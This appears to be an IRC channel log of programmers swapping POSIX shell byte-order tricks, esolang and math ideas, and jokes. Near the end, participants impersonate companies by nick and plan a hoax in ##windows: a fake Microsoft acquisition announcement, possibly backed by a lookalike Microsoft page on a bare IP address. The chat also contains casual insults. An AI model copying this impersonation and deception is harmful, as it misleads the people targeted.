18:03:01 <Deewiant> The full snippet to go from integer to binary with flipped endianness: printf "0: %016x" $$sz | xxd -r | od -vAn -tdL | xargs printf "0: %016x" | xxd -r
18:05:44 -!- MizardX has quit (Read error: 54 (Connection reset by peer)).
18:06:04 -!- MizardX has joined.
18:09:02 -!- GuestShadowSkunk has changed nick to Slereah.
18:19:19 <AnMaster> Deewiant, you mean: <<Result:32/integer-little>> = <<Old:32/integer-big>> ? ;P
18:20:16 <Deewiant> AnMaster: No, I mean something that can be done without non-POSIX dependencies :-P
18:23:50 <AnMaster> Deewiant, is this "xxd" really POSIX?
18:24:11 * ais523 wonders about sorting algorithms in Rube
18:29:37 <Deewiant> Then, challenge: make it POSIX.
18:30:03 <ehird> Deewiant: od can replace xxd.
18:30:15 <AnMaster> well I would try to, if I knew what xxd did
18:30:30 <Deewiant> AnMaster: There, it reads a hexdump and translates it to the binary.
18:30:34 <ehird> AnMaster: your system isn't posix
18:30:37 <ehird> as it doesn't have vi(1).
18:30:46 <ehird> you said it didn't
18:30:50 <AnMaster> I have it symlinked to busybox vi
18:31:26 <ais523> possibly for people sshing in
18:31:27 <AnMaster> ehird, since you complained so much.
18:31:38 <Deewiant> Could've sworn that xxd was part of coreutils or something, meh.
18:31:39 <ais523> I generally use vi at the other end of an ssh link
18:31:55 <AnMaster> ais523, I tend to use nano or emacs then
18:32:00 <ehird> AnMaster: Because you're obsessive-compulsive about everything being posix and no non-posix systems being allowed.
18:32:08 <ais523> AnMaster: can you rely on emacs being at the other end of the link?
18:32:13 <AnMaster> ehird, no. Just to make you shut up
18:32:18 <ais523> nowadays you can normally rely on nano, except on embedded systems
18:32:29 <ehird> AnMaster: I complained because you're obsessive-compulsive about everything being posix and no non-posix systems being allowed.
18:32:35 <ehird> Reading comprehension failure.
18:33:02 <AnMaster> ehird, what you said could be interpreted more than one way.
18:33:14 <ehird> Yes. One of those ways is retarded and nonsensical, the other is not.
18:33:18 <ehird> Next time on human communication!
18:33:26 <Deewiant> You're missing the point here, guys: do xxd -r with od
18:33:43 <ehird> Deewiant: just use sed.
18:35:37 -!- asie[away] has changed nick to asiekierka.
18:36:42 <AnMaster> ehird, depends on what you are doing
18:36:49 <AnMaster> I suspect awk may be nicer in this case
18:40:44 -!- zzo38 has joined.
18:42:10 <lifthrasiir> Colloquy sucks. I just switched to LimeChat 1.0, and it feels great.
18:42:46 <Deewiant> ehird: How do I sed [0-9]+ to the equivalent binary
18:43:30 <ehird> Deewiant: something like (perl) s/[0-9]{8}/eval "\"\\$0"\"/e
18:44:23 <ehird> Deewiant: 'Twas example.
18:44:32 <ehird> Deewiant: Anyway, a C compiler is posix.
18:45:15 <zzo38> Is there some reason you want it sed
18:45:34 <Deewiant> I don't want to depend on C :-/
18:46:01 <bsmntbombdood> i saw someone write "tr 'x' 'y'|tr 'z' 'a'|tr 'f' 'b'...."
18:46:35 <zzo38> O, I thought you just wanted to do it with sed just so you can figure out how (not to make a real program)
18:49:31 <zzo38> I invented esolangs for calling itself recursively, time travel, queues to references to queues, dividing by zero, programs running by continuous equations, code golfing, and many others.
18:50:36 <ehird> Now how's that relevant?
18:51:03 <zzo38> I also want to know what kind of thing you invented too.
18:51:17 <zzo38> Is Q-Ref turing complete? I think it probably is because it can emulate cyclig tag
18:52:28 <zzo38> And, does Burro really form a group if the reverse of conditions cannot be used by itself?
18:52:46 <zzo38> I know Revaver2pi is definitely a group if you don't use commands with exclamation mark
18:53:14 <fizzie> bc is POSIX (though I'm not sure if the "ibase=" thing is defined there), so you can use a prettified form of: echo -e "ibase=16\n"`printf "%016X" 12345 | rev | sed -e 's/\(.\)\(.\)/\2\1/'` | bc to do endian-reversal. ... except that actually rev doesn't seem to be POSIX. Oh well.
18:53:55 <zzo38> O, so you want it POSIX compliant
18:54:37 <Deewiant> fizzie: So how do I go 8-byte integer -> 8 bytes
18:54:55 <fizzie> Oh, you wanted that too.
18:55:04 <Deewiant> It needs to be binary so I can give it to dd.
18:55:23 <zzo38> dd/sh is good enough to write programs in
18:55:27 <fizzie> I think I had something, but can't remember. Our sauna-time starts in five minutes, so no luck there.
18:56:13 <Deewiant> fizzie: tac is POSIX, isn't it?
18:57:28 <zzo38> I invented meta-complex numbers. A rank 2 meta-complex number can be represented by tensor multiplying matrix representation of two complex numbers.
18:58:05 <zzo38> A rank2 meta-complex has 4 parts, realreal, realimaginary, imaginaryreal, and imaginaryimaginary.
18:58:16 <zzo38> Those can be the numbers at the top row of the matrix
18:58:51 <zzo38> And meta-complex numbers are commutative.
18:59:00 <Deewiant> So what /is/ a meta-complex number
18:59:15 <zzo38> I just explained what it is, isn't it?
18:59:23 <Deewiant> You said what it can be represented as
18:59:52 <lifthrasiir> zzo38: is that equivalent to C^4, for rank 2?
19:00:00 <lifthrasiir> where C is a set of complex number, of course.
19:00:05 <zzo38> Just like complex numbers can be represented by a 2x2 matrix of reals a+bi --> [a,b;-b,a] then meta-complex numbers can be represented by matrix of real numbers, according to the rank of meta-complex numbers.
19:01:12 <zzo38> Meta-complex numbers of any rank are commutative
19:01:29 <zzo38> Of rank 0 it is just like real numbers, of rank 1 it is just like complex numbers.
19:01:39 <zzo38> And I have proven it is commutative
19:02:16 <lifthrasiir> zzo38: aren't they represented as matrix? so you mean its multiplication IS NOT EQUAL TO matrix multiplication?
19:03:00 <zzo38> And, I have figured out, that as well as transposing a matrix represent a complex number to conjugate it, doing [0,1;1,0]x[0,1;1,0] where x is the representation of complex number, also works
19:03:32 <zzo38> No, their multiplication is matrix multiplication when they are represented as a matrix. And, because of the way the numbers are arranged int he matrix, it happens to be commutative.
19:03:43 <zzo38> Try it if you want to.
19:05:22 <zzo38> If a+bi and c+di are two complex numbers and you are tensor multiplying to make a meta-complex number of rank 2, then ac is the realreal part, ad is the realimaginary part, bc is the imaginaryreal part, and bd is the imaginaryimaginary part.
19:05:56 <zzo38> The result matrix is [ac,ad,bc,bd;-ad,ac,-bd,bc;-bc,-bd,ac,ad;bd,-bc,-ad,ac]
19:05:59 -!- FireFly has quit (hubbard.freenode.net irc.freenode.net).
19:05:59 -!- Gracenotes has quit (hubbard.freenode.net irc.freenode.net).
19:06:26 <zzo38> A rank 3 meta-complex number can then be represented as a 8x8 matrix
19:06:37 -!- FireFly has joined.
19:06:37 -!- Gracenotes has joined.
19:07:56 <zzo38> So, that's how meta-complex numbers work.
19:10:26 <zzo38> You can figure out square-roots and stuff just like complex numbers. If the realimaginary part is 1 and the rest are 0 then you can still square it to get negative one (you can try it)
19:11:27 <zzo38> You also get -1 if the imaginaryreal part is 1 instead
19:12:20 <zzo38> If the imaginaryimaginary part is 1 and you square it, you get positive one.
19:12:38 <ais523> zzo38: how many nth roots does 1 have?
19:13:30 <zzo38> I'm unsure because I haven't checked.
19:14:00 <zzo38> But that is a good question anyways.
19:14:52 <GregorR> I want to find an excuse to write a library called liboveslave. So you link to it by typing -loveslave
19:15:56 <zzo38> Obviously meta-complex numbers do not have the application of quaternions and such things as that, but you might use it for different kind of ideas
19:18:36 <FireFly> Are we done with s/^l/lib/'ing?
19:20:02 <ehird> gnu guys made it :P
19:20:52 <ehird> GregorR: libottleinfrontofme
19:21:53 <ehird> Deewiant: "I'd rather have a bottle in front of me than a frontal lobotomy."
19:23:03 <ehird> lifthrasiir: GregorR said that before
19:23:40 <GregorR> I like the idea of a library that looks like a command to gcc, like libink_no_libraries
19:24:06 <GregorR> Holy crap, I was just typing that X-D
19:24:31 <Deewiant> And I guess s/_/-/g to make it look more like a typical option
19:25:11 <GregorR> Or libicense-gpl, libicense-mit, libicense-bsd, ...
19:25:20 <GregorR> Then you could use ldd to tell you if there are licensing problems :P
19:25:30 <lifthrasiir> i once thought of lib-, for -l-, and suddenly the idea of palindrome shell program popped from my mind...
19:25:52 <ais523> without cheating and using comments?
19:25:55 <ehird> lifthrasiir: echo 'easy'#'ysae' ohce
19:26:03 <ehird> liblllllllllllllllllllllllllllllllllllllllllll
19:26:08 <ehird> -llllllllllllllllllllllllllllllllllllllllllll
19:26:26 <Deewiant> ais523: That's what I was going for with lib\
19:26:30 <ehird> lifthrasiir: A load of them.
19:26:51 <ehird> "libook, I'm sorry about your program, okay?"
19:26:53 <lifthrasiir> ehird: you should symbolic-link libl.so to libll.so, liblll.so, libllll.so and so on. :p
19:26:59 <ehird> (Said by Pratchett's Librarian, clearly.)
19:27:21 <GregorR> Nonono, you have a bunch of libraries libl, libll, liblll, each of which is linked to the previous one.
19:27:26 <GregorR> So -lllll implies -llll, -lll, -ll
19:27:50 <lifthrasiir> GregorR: symbolic link fail! (by the way, is there any limit on link recursion?)
19:28:09 <GregorR> lifthrasiir: No, not SYMBOLIC link.
19:28:19 <GregorR> lifthrasiir: Like gcc -ll foo.c -o libll
19:28:49 <ehird> "lib nanoreplicator.c"
19:30:05 <ehird> So I just did some type system hackery.
19:30:08 <ehird> All in a day's work of Haskell
19:30:31 <ais523> lib<insert literal NUL here>
19:30:39 <ais523> although I don't know any filesystems which allow NUL in filenames
19:31:19 <GregorR> libiquid-cooled-optimizations
19:32:28 <ehird> ais523: they should all allow them
19:32:35 <ehird> also, I want to use / in a filename often
19:32:40 <ehird> a lot of songs are named with a / in them, for instanc
19:32:44 <ais523> not even bffs allows spaces in filenames
19:32:48 <ais523> although it does allow slashes
19:32:50 <ehird> traditional unix filesystems suck.
19:32:52 <ais523> *allows NUL in filenames
19:32:59 <ehird> heck, I could deal with just nul
19:33:02 <ehird> use nul as a separator
19:33:09 <ehird> ofc command line tools will have a syntax
19:33:12 <ehird> but you could escape it
19:33:14 <ais523> BFFS doesn't have directories at al
19:33:17 <ehird> in fact, you don't need any sort of separator
19:33:22 <ehird> it's a data structure
19:33:31 <ais523> they should go Cyclexa-style
19:33:37 <ais523> and have separators that aren't in the character set
19:33:46 <ehird> wow, the sun just came out really hot
19:33:50 <ehird> how did that happen
19:33:53 <Deewiant> libinked-lists-instead-of-arrays
19:34:02 <ais523> in Cyclexa you can enter codes like \F which don't correspond to any character at all, but can be matched anyway
19:35:23 <ehird> GregorR: Deewiant: lifthrasiir: ais523: http://pastie.org/510863.txt?key=jmluhbl366cxr7po3bna
19:35:49 <Deewiant> grep '^l' /usr/dict/words | sed s/l/lib/ ?
19:36:09 <Deewiant> Doesn't contain libemon-curry and hence is WORTHLESS
19:36:18 <ehird> Deewiant: grep '^[lL]' /usr/share/dict/words|sed 's/^[lL]/lib/'|e
19:36:51 <ehird> Deewiant: textmate editor.
19:38:11 <lifthrasiir> but -lemon-curry actually means WITHOUT lemon curry, so we have to add some meaning to hyphen
19:38:37 <ehird> lifthrasiir: without? how?
19:38:47 <Deewiant> ehird: - instead of +, I imagine
19:39:22 <lifthrasiir> well but that'd be irrelevant since all other options use -... no, forget it.
19:39:23 -!- calamari has joined.
19:39:30 <ais523> incidentally, why/when was the usage of + for switches abandoned?
19:39:33 <ehird> lifthrasiir: it means lemon but not curry
19:39:48 <ais523> gnu invented it? or abandoned it?
19:40:39 <Deewiant> Point being, that's not a good reason :-P
19:43:26 * GregorR wants to write libemon-curry? now.
19:43:36 <GregorR> Incidentally, everybody stopped putting the important '?' there.
19:43:52 <GregorR> Idonno, print random Monty Python quotes to stderr?
19:45:09 <GregorR> gcc hello.c -lemon-curry? -o hello; ./hello
19:48:58 -!- BeholdMyGlory has quit (Remote closed the connection).
19:49:21 -!- BeholdMyGlory has joined.
19:52:12 -!- BeholdMyGlory has quit (Remote closed the connection).
19:53:06 -!- BeholdMyGlory has joined.
19:53:36 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
19:54:43 -!- BeholdMyGlory has quit (Remote closed the connection).
19:54:59 -!- BeholdMyGlory has joined.
19:55:49 -!- BeholdMyGlory has quit (Remote closed the connection).
19:56:05 -!- BeholdMyGlory has joined.
19:56:46 -!- BeholdMyGlory has quit (Remote closed the connection).
19:57:01 -!- BeholdMyGlory has joined.
20:00:22 <GregorR> That's some glorious disconnecting and reconnecting.
20:02:41 -!- MizardX has quit ("What are you sinking about?").
20:09:01 -!- Microsoft has joined.
20:10:19 <ehird> Microsoft: ##windows
20:10:26 <ais523> also, wow, you're /identified/
20:10:29 <ehird> ais523: redirects to ##csharp
20:11:02 -!- tetha has quit (Nick collision from services.).
20:11:11 -!- tetha has joined.
20:11:21 * ais523 wonders who ghosted tetha
20:11:27 <ais523> there was nobody here with a remotely similar nick...
20:12:30 <Microsoft> :NickServ!NickServ@services. NOTICE Microsoft :You may not ghost yourself.
20:12:48 * ais523 wonders what Microsoft's old nick was
20:13:09 -!- asiekierka has changed nick to IBM.
20:13:16 <IBM> that's registered? wtf
20:13:27 -!- IBM has changed nick to Nintendo.
20:13:29 -!- Microsoft has changed nick to Oracle.
20:13:34 <ehird> /nick InternationalBusinessMachines
20:13:42 <Oracle> Hello, I'm from Sun Microsystems.
20:13:45 -!- Nintendo has quit.
20:14:05 <ais523> *** Microsoft is now known as Oracle.
20:14:11 * Oracle goes to eat a larger and more influential company.
20:14:45 <ehird> ais523: Buy the new iMac. Starting at $4,382,381.
20:14:53 <ehird> With a solo-core 1GHz processor and 512MB of RAM.
20:14:54 <ais523> on the other hand, it comes with a five-nines SLA
20:14:59 <ehird> Comes with an integrated 19" screen.
20:15:10 <ehird> Apple: leading the way in 2009.
20:15:29 <ehird> ais523: Six nines is cooler.
20:15:32 <ehird> 31 seconds of downtime a year.
20:16:20 <ehird> ais523: Seven nines = 3.15 seconds.
20:16:30 <ehird> If you're really hardcore, eight nines.
20:16:44 <ehird> That's 6ms a week.
20:16:44 <ais523> we manage 9.9999999999% uptime!
20:17:01 <ais523> I stole that joke from someone on Slashdot
20:17:11 <Deewiant> 20 nines of uptime, all after the decimal point
20:17:15 <ehird> i think six nines is totally possible though
20:17:17 <ehird> barring nuclear fallout
20:17:28 <ehird> 31s/year? sure, i can give you that, it'll just cost through the roof.
20:17:34 <ais523> incidentally, did you know that fibre-optic cables are really vulnerable to nuclear explosions?
20:17:50 <AnMaster> I have a reasonably ok panorama now. Generating the tile
20:17:54 <ais523> they're affected from miles and miles and miles away
20:17:57 <ehird> Deewiant: well, I can get 100% barring mistakes
20:18:02 <ehird> but everyone makes mistakes
20:18:09 <ais523> I remember Slicehost talking about SLAs
20:18:15 <AnMaster> and two things before ehird complains: 1) first time I do this 2) there is parallax error in the input, nothing I can do about it.
20:18:25 <ais523> companies saying that they can manage 99.999% barring (list of everything that might go wrong)
20:18:34 <Deewiant> ehird: You think you can fix a year's worth of your mistakes in 31 seconds? :-P
20:18:55 <ehird> Deewiant: I didn't say that. I said that I think I can keep servers up for a year minus 31 seconds continuously.
20:19:11 <Deewiant> Yes, and you said the cause of that minus 31 is mistakes
20:19:23 <ehird> I just said that 100% is impossible
20:19:26 <ehird> Because it requires infallability
20:19:32 <AnMaster> <fizzie> bc is POSIX (though I'm not sure if the "ibase=" thing is defined there), so you can use a prettified form of: echo -e "ibase=16\n"`printf "%016X" 12345 | rev | sed -e 's/\(.\)\(.\)/\2\1/'` | bc to do endian-reversal. ... except that actually rev doesn't seem to be POSIX. Oh well. <-- isn't dc POSIX though?
20:20:15 <ehird> Anyway, it'd involve having a data center in every continent.
20:20:24 <Deewiant> ehird: And the year minus 31 seconds also does, unless those 31 seconds include mistakes.
20:21:03 <ehird> half running openbsd, half running some other stable secure OS
20:21:22 <ehird> each containing a complete mirror, on a gigantic RAID-1 per server, of all the data
20:21:37 <ehird> and with two separate sets of hardware configurations
20:21:50 <ehird> so that if there's an issue with hw or os or both, we're covered
20:22:14 <ehird> and 50 dedicated load balancers per data center
20:22:28 <ehird> all plugged in to massively-redundant, UPSed-up-the-wazoo power supplies
20:22:43 <ehird> with two internet connections from different companies
20:23:04 <ehird> and all systems configured for a security by denying everything and manually allowing individual tiny bits
20:23:17 <ehird> all software in operation written in a provably-correct language, and proven correct
20:23:24 <ehird> with an ultra-stable compiler — say, compiling to ada
20:23:36 <ehird> ais523: Deewiant: ...with all of this, I'm pretty sure you could manage 31s/year.
20:24:15 <Deewiant> ehird: I maintain that 31s isn't enough to notice and correct mistakes
20:24:30 -!- Petalon has changed nick to Kolonai.
20:24:56 <ehird> Deewiant: I can't even think of a situation where there'd be an error. We're talking space-shuttle-controller levels of attention to detail here.
20:24:58 <AnMaster> it fused it correctly in final version
20:25:11 <ehird> The most you could do with such a restricted-permissions system is maybe kick out a few servers.
20:25:15 <ehird> That would do nothing.
20:25:18 <Deewiant> ehird: So then, why not 100%. :-P
20:25:23 <ehird> Deewiant: Ass-covering.
20:25:30 <ais523> ehird: most likely error in that situation is one of the servers failing, and you turning off the ones that work rather than the one that doesn't, to fix it
20:25:31 <Deewiant> Either you have to convince me that it's 0s or that it's more than 31s
20:25:39 <Deewiant> Anything in between seems just weird
20:25:55 <ais523> presumably you can stock up the SLA over the course of years
20:25:57 <ehird> ais523: How? Also, multiple data centers, remember?
20:26:04 <ais523> you can do a 5-minute fix once every decade
20:26:09 <ehird> You could take out one data center through colossal incompetence, I guess.
20:26:19 <ais523> 5 minutes is long enough to reboot
20:26:38 <AnMaster> ais523, I assume you would dislike an 81 MB large image?
20:26:54 <AnMaster> it is a deflate-compressed 16-bits-per-channel TIFf
20:27:08 <Deewiant> Consider PNGizing it or something
20:27:12 <ais523> I don't get why you'd send me one of those in the first place, really
20:27:19 <ais523> and deflate? on an image?
20:27:28 <ehird> ais523: Because otherwise it's gigantic?
20:27:29 <AnMaster> ais523, um... you know png uses deflate too?
20:27:32 <ehird> TIFF supports deflate.
20:27:51 <Deewiant> TIFF is always huge, though :-P
20:28:12 -!- MizardX has joined.
20:28:16 <AnMaster> The image you are loading has 16 bits per channel. GIMP can only handle 8 bit, so it will be converted for you. Information will be lost because of this conversion."
20:28:38 <ais523> still, 48-bit colour is surely far too much
20:28:53 <ais523> 64-bit if you added alpha!
20:29:10 <AnMaster> ais523, for where there is no panorama data
20:29:21 <ais523> I was wondering how a photo could have alpha...
20:29:27 <ehird> ais523: so how do you take out multiple of those datacenters at once?
20:29:28 <AnMaster> ais523, and yes it is too much. The camera produces 12 bits per channel
20:30:01 <AnMaster> ais523, but that is, like, highly annoying to work with outside the raw format for the specific camera!
20:30:19 <ehird> $(declareMessage Client "HAVER" ["useragent", "extensions"])
20:30:19 <ehird> $(declareMessage Server "HAVER" ["hostname", "serveragent", "extensions"])
20:32:55 <ais523> AnMaster: I don't get why you're asking if an image size is acceptable, when I didn't ask for the image in the first place
20:33:07 -!- kar8nga has quit (Remote closed the connection).
20:33:23 <AnMaster> ais523, I think you would like it. No human activity visible for miles around.
20:33:49 <AnMaster> well, actually there was, just out of the picture (my backpack)
20:34:06 <AnMaster> oh and the canoe too, not visible in the pic either
20:35:14 <ehird> ais523: I don't know what's come over him either.
20:35:22 <ehird> Let's just pretend to download his photos.
20:35:36 <AnMaster> ehird, hey, if fizzie can show his panoramas I don't see why I can't!
20:36:09 <AnMaster> plus I resized it now and such, so much smaller
20:36:35 <AnMaster> http://omploader.org/vMXRzYQ (4.6 MB)
20:38:43 -!- sebbu2 has joined.
20:39:36 <AnMaster> bsmntbombdood, well, I don't think it is HDR as such. But not too bad for the first panorama I made.
20:39:51 <ais523> wow, Wikipedia has a list of games for which up up down down left right left right b a is a cheat code
20:40:14 <AnMaster> and that one is downsampled to 8 bits per channel, if you actually want the original tiff, it is available on request
20:40:21 <fizzie> I resized mine to something like 4000x1000 and less-than-a-megabyte .jpgs, though. :p
20:40:47 <AnMaster> fizzie, hey, I put it at quality = 96 in gimp!
20:41:02 <ais523> not just games; apparently it also affects facebook and digg
20:41:24 <AnMaster> fizzie, but what do you think about the picture in question
20:41:25 * ehird attempts to do template haskell trickery
20:41:32 -!- sebbu has quit (Read error: 60 (Operation timed out)).
20:41:45 <pikhq> AnMaster: Make it PNG.
20:41:54 <AnMaster> pikhq, hm? it would be larger in fact
20:42:10 <AnMaster> what I could do is cut some padding at the edges it seems
20:42:13 <pikhq> Well, yes... PNG *is* a lossless format...
20:42:25 <AnMaster> pikhq, the goal here was small file
20:42:57 <fizzie> I cropped mine so that they were rectangular full-of-image-data, even though I had to discard quite a bit of actual content there.
20:43:37 <AnMaster> fizzie, that might be better... hm. But it would cut too much here
20:44:33 <bsmntbombdood> what would happen if you compressed video by take 1, 1^2, 1^2^3, 1^2^3^4, etc, and then DEFLATEd that?
20:46:20 <AnMaster> http://omploader.org/vMXRzZA (grumble... 5000xwhatever, 3.2 MB...)
20:46:31 <ais523> bsmntbombdood: that's close to how real video compression algorithms work
20:46:38 <pikhq> bsmntbombdood: I strongly suspect that would be huge.
20:46:52 <ais523> the main difference is that they divide the image into squares, and xor each square with the other square it's most similar to
20:46:55 <pikhq> ais523: That seems to have very little with the discrete cosine transform.
20:47:01 <ais523> then you DCT the result
20:47:03 <ais523> and then compress that
20:47:44 <ais523> I think the xor happens before the DCT, but I'm not sure
20:48:05 <ais523> DCT /is/ lossless, in theory
20:48:28 <ehird> lossless video is love
20:48:31 <ais523> although it's common to throw away the less informative bits of the result, in which case it's lossy
20:48:32 <ehird> i want lossless 1080p video
20:48:33 <fizzie> AnMaster: It's more sensibly cut, yes. Your choice of content is harder to panoramize, there's more stuff in front.
20:48:41 <ehird> ais523: store the result as equations
20:48:45 <ehird> infinite precision
20:48:54 <ehird> i wonder how big lossless 1080p would be
20:49:00 <ehird> well one frame 1080p lossless is...
20:49:31 <pikhq> Compressed 1080p is significantly less.
20:49:40 <ehird> bsmntbombdood: so 1,244GB for one movie
20:49:40 <ais523> http://kevan.org/rubicon/game.php?level=kycyfog
20:49:47 <fizzie> The stuff they use digital movie theatres is encoded each frame as a separate jpeg2000 image.
20:49:47 <ehird> i bet you could compress that to 200GB
20:50:06 <ehird> i just hate lossiness
20:50:10 <ehird> i'm such a packrat
20:50:29 <ehird> i'd buy 1PB of storage for like $100/mo
20:50:33 <ehird> i'm also a cheapskate.
20:50:45 <bsmntbombdood> http://www.google.com/search?q=1080*1920++*+24+bits+*+30+hertz+*+1+hour
20:50:51 <fizzie> And uncompressed 1080p is 177 MB/s only if you use 24-bit color depths; I don't think people use that in video, it's always some sort of YUV420 or whatever.
20:51:09 <fizzie> With a lower-resolution chroma channels and so on,
20:51:19 <ehird> bsmntbombdood: 1.2TB for 120 mins
20:51:23 <ehird> = 1,244GB like I said
20:51:36 <ehird> mathematica can't calculate DCTs as equations instead of values
20:51:38 <pikhq> fizzie: Raw 1080p tends to have same-resolution chroma channels.
20:51:53 <AnMaster> fizzie, and it was my first time. Plus it was raining a lot
20:52:16 <AnMaster> so a lot of parallax issues to work around
20:52:18 <ehird> AnMaster: have you noticed that nobody cares that
20:52:36 <AnMaster> ehird, I just replied to his comment.
20:52:44 <AnMaster> ehird, and I noticed that *you* don't care.
20:52:58 <AnMaster> ehird, you can't read scrollback either: <fizzie> AnMaster: It's more sensibly cut, yes. Your choice of content is harder to panoramize, there's more stuff in front.
20:53:01 <pikhq> fizzie: Also, it's 24-bit Y'CbCr.
20:53:02 <ehird> erm, ais523 also said he didn't ask for it, and nobody else has commented apart from fizzie
20:53:14 <fizzie> pikhq: Yes, I guess when it's raw it could be done.
20:53:19 <ehird> AnMaster: that was ages ago
20:53:32 <fizzie> (Now I am again not here.)
20:54:03 <ehird> bsmntbombdood: FourierDCT[N[{1, 2, 3, 4}, 100000]]
20:54:10 <ehird> bsmntbombdood: 100,000 digit precision good enough for you
20:54:14 <ehird> almost lossless :P
20:54:23 <AnMaster> 21:53:09 * AnMaster was afk 21:53:19 <ehird> AnMaster: that was ages ago <-- I guess it was lag?
20:54:37 <ehird> AnMaster: no, it's just that accusing me of not reading all of the day's backlog is silly
20:54:45 <ehird> when i get annoyed at you for not reading it was just a few minutes up
20:54:51 <ehird> bsmntbombdood: what
20:54:52 <AnMaster> ehird, um. You were here when he said that
20:54:56 <ehird> bsmntbombdood: lolwut
20:55:06 <ehird> AnMaster: i read every message and remember it forever!
20:55:14 <AnMaster> ehird, and it was also just a few minutes ago here
20:55:19 <AnMaster> the one that I were replying to
20:56:00 <ehird> it was drowned in a sea of other messages
20:56:07 <ehird> and was way further back than anything I ever complain about
20:56:09 <AnMaster> ehird, ok, *that* is a valid excuse.
20:56:32 <AnMaster> ehird, not at all, this was within one screen. But most of those your mention are more than that
21:01:00 -!- Oracle has changed nick to SCO.
21:01:16 <SCO> hai gais, all ur linux r belong to us
21:01:40 <SCO> ais: Yes, ArchLinux too.
21:02:03 -!- SCO has changed nick to Intel.
21:02:11 -!- Intel has changed nick to AMD.
21:02:15 <AMD> Darn, owned :P
21:02:33 -!- AMD has changed nick to Intel.
21:03:19 <ais523> SCO was owned by Novell's lawyers
21:04:48 <Intel> Novell is owned :(
21:06:36 -!- Intel has changed nick to poop.
21:06:49 <GregorR> * Intel is now known as poop // for the logs :P
21:07:45 -!- poop has changed nick to Microsoft.
21:07:52 <GregorR> * poop is now known as Microsoft // also for the logs
21:11:45 <GregorR> Which is why I'm so damned loud.
21:12:24 <GregorR> Anybody in here also in #opensolaris? I want to take Oracle in there, say "NOM NOM NOM", then leave, but see if anybody reacts :P
21:12:45 <GregorR> OK, I'll wait a few minutes :P
21:12:51 -!- Microsoft has changed nick to Oracle.
21:13:05 -!- Oracle has left (?).
21:13:19 <FireFly> Did you troll something with Microsoft, btw?
21:13:29 <GregorR> No, never thought of a worthwhile trolling :P
21:13:37 <ehird> GregorR: ##windows
21:13:43 <ehird> GregorR: announce something.
21:13:51 <GregorR> ehird: Ooooh, announce something, that's good.
21:14:03 <ehird> GregorR: Like, like, the new Zune.
21:14:04 <FireFly> "Windows 7 is now officially closed."
21:14:10 <ehird> Or Windows 8, based on Linux.
21:14:16 <ehird> GregorR: Or moving to Itanium.
21:15:23 <ehird> 21:15 Oracle has left ()
21:15:23 <ehird> 21:15 sylence: another thing: why do all my terminals (gnome-terminal, xterm, urxvt) have no color support by default? how to activate color support?
21:15:26 <ehird> 21:15 cgkades: lol
21:15:28 <ehird> 21:15 kc8bws: I can see flash clips but not watch youtube trash
21:15:30 <ehird> GregorR: a stunning reaction.
21:15:47 <GregorR> Well, somebody said "lol", that's something X-P
21:15:58 <ehird> GregorR: I bet those ##windows peeps are defensive.
21:17:12 <GregorR> ehird: I still haven't thought of the perfect thing to say though.
21:17:47 <ehird> GregorR: Set up a webpage on an IP address mimicking the microsoft site, announcing something. Paste the link with a corporatey explanation
21:17:54 <ehird> "We are sorry to announce to our customers that, etc."
21:17:58 <ehird> "- Microsoft PR Department"
21:18:04 <ehird> IP so the domain doesn't give it away
21:18:21 <ehird> GregorR: Put it on microsoft.com then
21:19:14 <FireFly> [22:17:37] Microsoft is Microsoft!n=Microsof@65.183.185.209
21:20:33 <ehird> GregorR: announce an official partnership with Samba
21:20:37 <ehird> then get more and more absurd
21:21:16 <GregorR> I think something along the lines of the Microsoft-Novell thing could be fun.
21:21:37 <ehird> GregorR: Announce that MS & Novell are acquiring Samba.
21:23:54 <GregorR> <Microsoft> Microsoft is now announcing the acquisition of Novell and all of its subsidiaries. This acquisition will greatly enhance several of Microsoft's enterprise-class server products, as SUSE technologies are integrated into our new platform, Windows Linux Enterprise.
21:24:48 <ehird> GregorR: Add some backstory about communicating with the community
21:24:58 <ehird> eg "I was tasked to correspond with Windows communities across the web"
21:25:03 <ehird> So they don't think you're too special
21:25:06 <ehird> [note: this won't work]
21:25:31 <GregorR> That's why I think that just announcing it with no other info is fun :P
21:25:48 <ehird> GregorR: But nobody will responddd.
21:25:54 <ehird> you have to make yourself lowly :P
21:26:21 -!- kar8nga has joined.
21:27:48 <ehird> GregorR: you might get away with it. a guy's defending IE.
21:28:05 <GregorR> ehird: But your suggestion is true, so I'm writing :P
21:28:11 <ehird> 21:27 Ether_Man_: ryaxnb, yes really.. Opera has been first with virtually all the features of both IE and firefox
21:30:21 <GregorR> <Microsoft> As this merger will likely have a powerful influence on the Open Source ecosystem, we have chosen to ...
21:30:26 <GregorR> It just sounds so ridiculous :P
21:30:49 <ehird> GregorR: 'scuz it is. MS would never talk in an unofficial irc channel on an open source network.
21:31:00 <ehird> Especially not without any link to an official announcement, and not with the username Microsoft.
21:31:19 <GregorR> If I can fool just /one/ person
21:31:32 <ehird> GregorR: there's nobody that stupid on freenode
21:32:10 <ehird> 21:31 Ether_Man_: ehird, that's not really true and you should know that.. Mozilla and netscape is NOT the same project, nor is Mozilla and Firefox the same project
21:32:11 <ehird> 21:32 ehird: Ether_Man_: Mozilla is the name for the open source continuation of netscape, dude. Original mozilla's code was identical to netscape. Firefox was just a fork of Mozilla that stripped out features.
21:32:14 <ehird> let's see if idiots challenge me
21:33:25 <ehird> 21:32 Ether_Man_: ehird, not exactly no.. Do better research :)
21:33:25 <ehird> 21:33 ehird: Ether_Man_: I've followed the Mozilla project for years and have this info from authoritative sources. You are merely making unfounded assertions. Rebut me, if you wish, but this is not convincing and you are wrong.
21:34:55 <GregorR> Maybe I'll just stick to the initial announcement, plus <Microsoft> If you have any questions or concerns regarding this acquisition, please contact Microsoft support at novellmerger@microsoft.com
21:35:12 <ehird> 21:34 Ether_Man_: ehird, http://en.wikipedia.org/wiki/Mozilla they reference all the info.. Just read... Please
21:35:13 <ehird> 21:35 ehird: Ether_Man_: What a copout. You are simply wrong and I don't care that you think otherwise. Or at least, if you're right, then ex-Netscape employees and the Mozilla organization don't know about it.
21:35:23 <ehird> GregorR: Troll that etherman guy please. He's an idiot.
21:35:38 <AnMaster> ehird, we are so not going to do so
21:35:38 <GregorR> Of course he is, he's on ##windows :P
21:35:50 <AnMaster> GregorR, hm that changes that a bit
21:35:51 <ehird> AnMaster: I am talking to GregorR; what are you talking about?
21:36:01 <ehird> I did not mention you at all.
21:36:55 <ehird> GregorR: Can you translate what AnMaster's talking about since 21:35 AnMaster: ehird, we are so not going to do so ?
